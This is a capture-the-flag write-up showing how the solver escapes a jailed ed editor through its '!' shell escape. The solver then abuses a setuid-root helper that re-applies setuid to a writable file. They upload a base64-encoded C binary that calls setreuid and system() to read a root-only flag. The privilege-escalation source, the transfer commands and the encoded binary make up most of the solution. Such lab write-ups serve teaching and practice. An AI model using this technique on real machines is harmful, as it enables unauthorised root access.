j41lEd

miscbjörnctf2024edprivesc

Discovery

After discovering that this challenge throws us into an instance of the ed text editor, we can start reading the documentation. Running info ed and looking for available commands, we can find the following section:

'e FILE'
     Edits FILE, and sets the default filename. If FILE is not specified,
     then the default filename is used. Any lines in the buffer are deleted
     before the new file is read. The current address is set to the address
     of the last line in the buffer.

     If FILE is prefixed with a bang (!), then it is interpreted as a shell
     command whose output is to be read, (*note shell escape command:: '!'
     below). In this case the default filename is unchanged.

     A warning is printed if any changes have been made in the buffer since
     the last 'w' command that wrote the entire buffer to a file.

We discover that we can use the e command to edit files, and also execute commands! By looking at the challenge handout, we can identify that the flag is split into two parts and two files: fl.txt and ag.txt.

j41lEd> e fl.txt
24
j41lEd> p
flagbot{h4lF_0f_th3_fl4
j41lEd> e ag.txt
ag.txt: Permission denied

We can get the first half of the flag, but have no access to the second half in ag.txt. We can also verify that we can indeed executte arbitrary commands:

j41lEd> e !id
54
j41lEd> p
uid=3777(edwald) gid=3777(edwald) groups=3777(edwald)

The commands that we can execute are all run as the user edwald.

Solution

Since a privilege escalation step is required (as hinted at by the fact that the ag.txt is only readable by the root user), we start looking for a typical privesc mechanism: setuid binaries. We find the /fixup-binary that gets built during the docker image creation.

j41lEd> e !ls -lah /fixup
j41lEd> p
---s--x--x 1 root root 16K Sep 30 19:21 /fixup

The fixup-binary was built with the following code:

#include <sys/stat.h>
int main(){
    /*
        Make fl.txt readable...
    */
    chmod("/chal/fl.txt", 04777);
    /*
        ...but not ag.txt.
    */
    chmod("/chal/ag.txt", 00600);
}

As we can see, this code will make another file have the setuid-bit set (as specified by the 04777 mode): /chal/fl.txt. This is required since writing to a file that has the setuid bit set will clear the setuid as a security measure. Since we can call /fixup as many times as we want, we can modify /chal/fl.txt and then re-apply the setuid bit.

I wrote a small c program to switch user id and then run our commands:

#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

int main(void) {
    fprintf( stderr, "Running exploit\n" );
    setreuid(geteuid(), getuid());
    fprintf( stderr, "euid: %d, uid: %d, gid: %d\n", geteuid(), getuid(), getgid());
    // Will get run as the root user
    system("cat /chal/ag.txt");
    return 0;
}

Let’s compile it:

gcc -o exploit exploit.c

The only thing left to do is to transfer the file to the remote, run the /fixup binary and then run /chal/fl.txt. For an easier transfer, I gzipped and base64-encoded the file so I can copy and paste it:

cat exploit | gzip | base64 -w 0 > exploit.b64

On the remote, I simply base64 decoded and gunzipped the binary:

e !echo "H4sIAAAAAAAAA+1bfWwUxxWfPX9wJv44p9CAoXBJAUEar20wjknlYOMPzpH5KNhFVYHt2rt3t9V9OHt7wY6qxA1tZRdQaaq2qdqqUFUKSquKRlELVRJMoJRWagRVU4EiRSgKlV2lrSlpRIrKdmbnvbvd4bahaf7rPuvut+83783MzszuvfW+ebJ3oC8kSQSljDxMmBat53on8OcfLJhQrp3U0O/lZBmppHq5y07ESyEvhgvtcL9FZVwXcSnxouTCcuIvJ+Z5kUSKfhUuXcSTIS+6/Zz2osAL2Cx50e3HxmaykeuTHQJCO8eE9kLg9wz4PdPhxTnJizie5fBph/ETsZl4UfRLgp2IPcSLOPY7r1raB2lvO/gNRLkuYivxIrb3KepXSe5ccHp3QHt+8zAW8iJOY1PKGG5rbUppjSkjkx9rHGtva2xrlXNZeW2hX6zLbE1t3jrE5m2acXD6JDTBdayPHS+AcmavfX/3zevf6b/+tRf3vVX18K5T78Sv9JRDvyWwIWCPS4TAcTUpri8ifdGhGVdDPxf1V9Mb/n5gKfERNg93l+CfJMWl7ZaNPvaSD/9pH/5eH/67Pu22+9j3+fDbfPjnfOpfQz/3leAb6Keefkc7uY7rluTGc5aeJopCF8aIkrNU01LSqpEhOUvTTZPER00jY8WpwciYqsSNjJoyHtdJQrcShsYgTyGnW6bODuL7TMNySh2V1cnWVhvZPNC/qVtZK6+V1xeO17USpX9wi0Lb0RMG7YY5uKU7lc3og+pwSqctJtLZDHRJ4aYlDdnqkeiK4n+SByVatpcUr5t8g1HFVl8SuBe+/q1K5m9BOV4/hfGBwT8s8NPwOxIWxhP1Sxs5srVc/BUi5IqLd6//GRc/z8XPufi7XPwNF1/t4nF+2fVb4+KPgD2ru8zFH3Px7t+f4y6+wsWfcPHu+9a0iw+7+PMuvsrFX3Dx80kggQQSSCCBBBLI/y7X65b9M7b/7XDsQMXlJkJiX562QvaF2P6z4TNOub3+85S2V6bod93yTseexYRk9k3btuOHHZ0FbrO/L+osYJt9paizQGr2+aLOAqjZHxZ1FjjNPl3UWcA0+1RBt1dupa3H65b38P7aK/8ke/U3BP2Pgv6qoJ8T9JcF/eceveUv/VMX98am3oztf2tu+2Bvy3TLb2KHOn7LhmfhN6jpO3G5bvmXnPGi/EmZQcXzDDbcsBbSoX1M5kNbZV+pWz7B7M4AUvspx379UwzW3IpNzcVO/3Vj7PSNsph0LnbxlrWAVtALFYTtK7xf6M/6N9GxhxaT/CeGYvs77mOHsamrVnXsQMcqqsycvGXbMxodzXMV66ku7aG+Hv/ZfbSQHQxRv67BnbS9Ctbe1OlfstD/ZcnpZ8VrNYz79cxlVp9Fv6bOzBxi8AYlX2DkD+hX19TZmV28cJTBK7S2X9CH796pK1OX6Wke4bWcYI3P7KUWtOZjUHMTV58DNUpVx+6zXbv3nHGt1cLqDCSQQAIJJJBAAgkkkEACCeROhb332ZHPZIxMIqqPjaayhjWfsHdSD0VXag9ECwcJfjCfjKhWtGkkqaaa1IRsjVmkadjINA2ruSSRlpR9kr3vZY/zf/ibbWsUB+ds+yBFjeKPGE9xgOJL12z7RcLfiTr9eHwHkcYi0pLqeeHDEufZS8wJar+KGfTMc15NrSD83XCS1j/BiNpIX+2iR+ru2heeIBsbNty/boXzWo/576afaWqH77SQZ++wTlB+1MVH6Yf18z3a3lFG9NZGvhLqrqnsPli2vzz0TdqtD3fgAwkkkEACCSSQQAIJJJD/X4H8OcyXw1y4vYCF3DV4mMGctZ+A32LQMS9vCej41NIAiPl5S4Xyf9yyswyPQ9Ib5rKthgPMYbsE5ZiLdhYQc+4WAS4kXsFcuknIZ8OcvmOA+ByIOX33AEbmefn2Sm+/LwFizhy2v4x47W7a/PwkoG6BHob67GK5I3Ogvw3n/x7o7pzAD1Mwv1uUZpjvTsDtgJ8DHAWcADzsftj9LwTzMTd3dz8UXT00nM9Y+WjLOnmt3Ny4dl3e0VvXAPMf6uH58tdska9yysrJQRjAKPAf8bFn8xeii317vZePAj8h8OuAnxb4fqfdBrK6s9g/JkPO8UcL1wPKF6AeMZl40rFfWLi+UJ716b/fef3MqWcBeeBesaS0/SnH/p7b1sd5aAXz5lFed+wXFa4zlGukdH50rVQ6Pzrn8IuLGzlA7pfYLWgxiQh8C+XvDtUX7kcoD0ql233Eh9/jwz8K7Yr9ecLH/mmf8zpK+frQ4sJ6R/kp41lN4IQ5vi/51H/B6U8DaRbq2efYRwr7Z1YB/5pPPX+GejAfGeVdqKcKnI4Cf9OnntoQPy9xXhpCpcehNVQ6/31biM1jdTERHGQo5JMXv3PEtFrkLFEUddhQLDVBKJGz8vG4PEKKGeuKlVZGWCp6jlpqWSWRyg6rKUWzsmZOUfNjZCSbHk3plq7R20tJC5ZTbyiqaarjip6xzHESN9W0rmj5dHqcurg0hVpaHlP41ybtkqL07eja0qv0bu1hyfI9n9nataW/m9Kbtw4pvTEojfXsIMrmgW2bugaUbX19O3sHlcGuTQO9yu0bADrvNE1f11RLJc5pwH6ATne2P99g4KFge4CHo2NDq+Ht46YDwcC7HUDRclklqWY01of+bbRAMzJKPqdrsDnB661nitsUhHqHczlo19n4wPcwCDb0lHFoffcheLdIeCtgMwdbKjwFRM6Npy11mKJlckziER0C3RwlciZr6XIik5dHzeyoblrjLmo4b6S0RkMDqmtTfyNbq05Zkv3zWtbGM7QJjpbJSx7TzZyRzXgUhZaZekplhnA0mrJYL2jP2aGcyMJBTh8hsqWPUdWZddnMOmtA1pOwXJOaWdR4HXzdcg88pk2paYNWxt3pRBCZXjBpurhLXMMfRFi8yH4bMS7z24+HIgn6xwmP0dDfbz8Yivjf9DbBX9yHtkKwF/cA9gv+GGeI8Yaf/y76eZfGeOiPcTDiauAxDhb7rxIeA6M/xsmI22HAWB8llz/Gqwbx7vXCuBsR42wUcfwfJTyGRX+MWxFx/rD/IQGfIDwmRh3jYkScP7H/KIcIH9PC/Fd6EeN0cfzw/L8N/ptAx7gfEZ8TKsFH9D9KXHviHEcv4vMQijj/3xP8oxEvTgj24jbSZwX/IxEvimG56H9c8D8e8aL7XVUp/5Ni/+u9+FVhwYj9OSX4YxyHWCPYi+P3K+K9f4j7ZAfex/93gr/fvlA//9cF/4moF48L9uL6vUo/tcT1nIr7RBtL24cFZPF1ncsfnysO36H/vwgfe/Qv7PsF/znX/cPth/P4Y8LPX3zOnmziOPY+7VdKXv9CnN3sbUf0R6mGB2v0xzgx4uMfFfR6aF/8nUD/VQIvlcAQuV3awT8MC+ZjhMfP4v2jipR+tu+EhZcUKhfvv/U+/sfaODYIDqL/vwHLOqKCiD8AAA==" | base64 -d | gunzip > /chal/fl.txt
e !/fixup
e !./fl.txt
?
j41lEd> Running exploit
euid: 3777, uid: 0, gid: 3777
44
j41lEd> p
g_41n__t_nuff_but_n0WwW_y0u_s33m_Ed_ucated}

We now have the complete flag!

flagbot{h4lF_0f_th3_fl4g_41n__t_nuff_but_n0WwW_y0u_s33m_Ed_ucated}